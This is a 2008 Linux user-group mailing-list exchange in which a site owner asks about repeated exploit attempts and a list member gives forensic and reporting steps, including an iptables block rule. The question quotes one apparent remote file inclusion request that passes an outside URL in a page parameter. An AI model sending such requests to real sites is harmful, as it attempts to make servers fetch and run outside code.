OT: Website Exploits

[Lisa Kachold]

It appears as though someone is attempting to  access http://humano.ya.com via a redirect.It's is probably not a "real" exploit but a miscrafted URL referral.Without more information related to the contents of your index.php, I can't tell you what exactly they are exploiting.  However, since the page they are going to doesn't appear to be a google ad site or phishing site, I would just call this a mistaken URI fat fingered redirect from some place?But here's the basic steps for "forensics" of any such problem (even the exploitive ones):1) Where is it coming from?  Your log should have a complete source IP?Cut and splice the complete log report example into your "forensics" report.Include your TIMEZONE for their edification.  Include the date of the first attack using grep on your logs.  Add frequency or whatever else is unique about it.If the issue or attack comes from multiple sources, indicating bots, include that information also.2) Run a whois on the source IP and see who is the Swip'd IP block owner, domain name, and access that page for additional information.Cut and splice the technical contact for that block into your "report".3) Go to the referral site (http://humano.ya.com) and find their email address to add to the "report".4) Send a copy of the referring ip address to your firewall administrator to deny for port 80/443, or add to your server based IPTABLES deny via a one liner:iptables -A INPUT -s $ipaddress -j DROP/etc/init.d/iptables save5) Include your name and address, contact information and statement of confidentiality.www.Obnosis.com |  http://en.wiktionary.org/wiki/Citations:obnosis |
http://www.urbandictionary.com/define.php?term=obnosis (503)754-4452Catch the January PLUG HackFest!   Kristy Westphal, CSO for the Arizona Department of Economic
Security will provide a one hour
presentation on forensics.Date: Wed, 3 Dec 2008 14:39:40 -0800From: klsmith2020 at yahoo.comSubject: OT: Website ExploitsTo: plug-discuss at lists.plug.phoenix.az.usHi,I am working on a website that gets a lot of exploit attempts.They mostly look like this:  /index.php?display=http://humano.ya.com/mysons/index.htm?Our code is set to disregard any value that is not expected.  I'm wondering if there is a clearing house for reporting this type of stuff.  I have the IP address as reported.... if that is accurate.Thanks in advance!Keith
_________________________________________________________________
Send e-mail faster without improving your typing skills.
http://windowslive.com/Explore/hotmail?ocid=TXT_TAGLM_WL_hotmail_acq_speed_122008
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.PLUG.phoenix.az.us/pipermail/plug-discuss/attachments/20081203/7a6aba3e/attachment.htm